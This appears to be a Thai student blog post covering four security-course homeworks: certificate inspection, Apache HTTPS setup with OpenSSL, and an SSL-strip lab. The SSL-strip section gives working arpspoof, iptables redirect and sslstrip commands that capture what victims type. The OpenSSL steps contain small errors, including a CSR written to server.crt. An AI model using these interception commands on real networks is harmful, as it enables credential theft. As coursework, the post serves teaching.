HOMEWORK 1-4 CS449
Homework 1
ที่เว็ป broswer แสดงผลไม่เหมือนกันเนื่องจาก เว็บ browser บางอันแสดงเฉพาะ public key เท่านั้นในขณะที่อันอื่นแสดง parameter และ Exponent bit ด้วย- วิธีการที่ทำให้สามารถดู public key ที่เหมือนกันทำได้โดยการ export ไฟล์ certificate ออกมาก่อน แล้วอาจจะใช้ โปรแกรมอ่าน ไฟล์ certificate เดียวกันก็จะเห็น public key ที่เหมือนกัน
ภาพแสดง public key captured from different browsers
click to see the source fileHomework 2: HTTPS installation and Certificate creation
URL วีดีโอแสดงการอธิบายประกอบ Link:http://youtu.be/kVStS55va9clink สำรอง
- ติดตั้ง HTTP server บน ระบบปฎิบัติการ ในที่นี้ใช้ apache2 (ในตัวอย่างที่แสดงในวิดีโอ OS ได้ลง HTTP server เรียบร้อยแล้ว จึงไม่ได้แสดงการออกคำสั่ง) โดยใช้คำสั่ง
sudo apt-get install apache2
- ติดตั้ง Open SSL (ในตัวอย่างที่แสดงในวิดีโอ OS ได้ลง OPENSSL เรียบร้อยแล้ว จึงไม่ได้แสดงการออกคำสั่ง)
sudo apt-get install openssl
-
Enable the mod_ssl โดยใช้คำสั่ง
sudo a2enmod ssl
Note: The mod_ssl module adds an important feature to the Apache2 server - the ability to encrypt communications. Thus, when your browser is communicating using SSL, the https:// prefix is used at the beginning of the Uniform Resource Locator (URL) in the browser navigation bar.
-
Generate a Certificate
- สร้าง Keys โดยใช้คำสั่ง
openssl genrsa -out server.key 1024
(The output file will be used to create CSR)
-
Create the CSR (Certificate Signing Request)
openssl req -new -key server.key -out server.crt
(ในขั้นนี้ file ที่เป็นผลลัพธ์ จะใช้ในการสร้าง self-signed certificate)
- สร้าง Keys โดยใช้คำสั่ง
-
Create a Self-Signed Certificate โดยใช้คำสั่งต่อไปนี้
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
(ผลลัพธ์ของออกคำสั่งนี้คือไฟล์ server.crt ซึ่งเราจะใช้ CA นี้ในการ ติดตั้ง https ให้กับ http server ต่อไป)
Homework 3: SSL session with certificate
ข้อมูลใน Certificate ที่ใช้ Wireshark ดักดูตอนที่ Web server ส่งมาให้ Web browser ควรจะต้องตรงกันกับ Certificate ที่ Web browser แสดง ตามที่อธิบายใน วิดีโอ
URL วิดีโอประกอบการอธิบายhttp://youtu.be/34GtW_vEDXE- Version: The X.509 version number คือ เลขที่ใช้แสดง version ของ certificate (ในวิดีโอเป็น Version 3)
- Serial Number คือ เลขลำดับของ certificate ที่จะไม่ซ้ำกันเลย(Unique) ซึ่ง CA จะเป็นผู้ที่ Assign ใช้
- Signature Algoritm: เป็น hash algorithm ที่ CA ทำ digital sign ให้กับ Certificate
- Issuer: เป็นรายละเอียดเกี่ยวกับ CA ที่ออกใบ Certificate ให้
- Validity from: เป็นรายละเอียดเกี่ยวกับช่วงเวลาที่ certificate นี้ valid
- Subject: ข้อมูลเกี่ยวกับ ผู้ร้องขอใช้ certificate (ในวิดีโอคือ hotmail.com)
- public key info: ข้อมูลรายละเอียดเกี่ยวกับ public key ของ certificate นี้ เช่น ตัวคีย์ หรือ ค่าพารามิเตอร์ เกี่ยวกับ Algorithm ต่างๆที่ใช้
รายละเอียดของ Certificate
Homework 4: SSL Strip
URL วิดีโออธิบายประกอบ Link: http://youtu.be/f57urqx4KxI- เปลี่ยนให้เครื่องของ Hacker เป็น forwarding mode เพื่อให้ Packet ใดก็ตามที่เข้ามาที่เครื่อง Hacker Forward ไปที่ Gateway จุดประสงค์นี้ทำเพื่อให้ เหยื่อ(victtim) ยังสามารถใช้งาน the Internet ได้อย่างปกติ โดยใช้คำสั่ง
echo 1 > /proc/sys/net/ipv4/ip_forward
- ตั้งค่า iptables เพื่อให้ redirect HTTP ไปยัง port ที่ sslstrip ทำงานอยู่ โดยใช้คำสั่ง
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>
- Run สคริป sslStrip โดย ผลลัพธ์ที่เหยื่อกรอกจะถูกเก็บไว้ในไฟล์ result โดยใช้คำสั่ง
python sslstrip.py -l
-w result - Run arpspoof เพื่อทำให้ ส่งข้อมูลมาที่เครื่องเราก่อนที่จะส่งไปยัง Default gateway หลักการทำงานคือ จะไปเปลี่ยนค่า MAC address ของ gateway ให้เป็น MAC address ของเครื่อง Hacker แทน
arpspoof -i <interface> -t < targetIP> <gatewayIP>
ขั้นตอนการออกคำสั่ง
วิธีการป้องกัน
- ตรวจสอบว่า web-site ที่กำลังเข้าอยู่นั้นมีการเข้ารหัส ด้วย certificate ที่ถูกต้องหรือเปล่า
- ใช้ network ที่เป็นส่วนตัว เช่นที่ บ้าน เป็นต้น
ไม่มีความคิดเห็น:
แสดงความคิดเห็น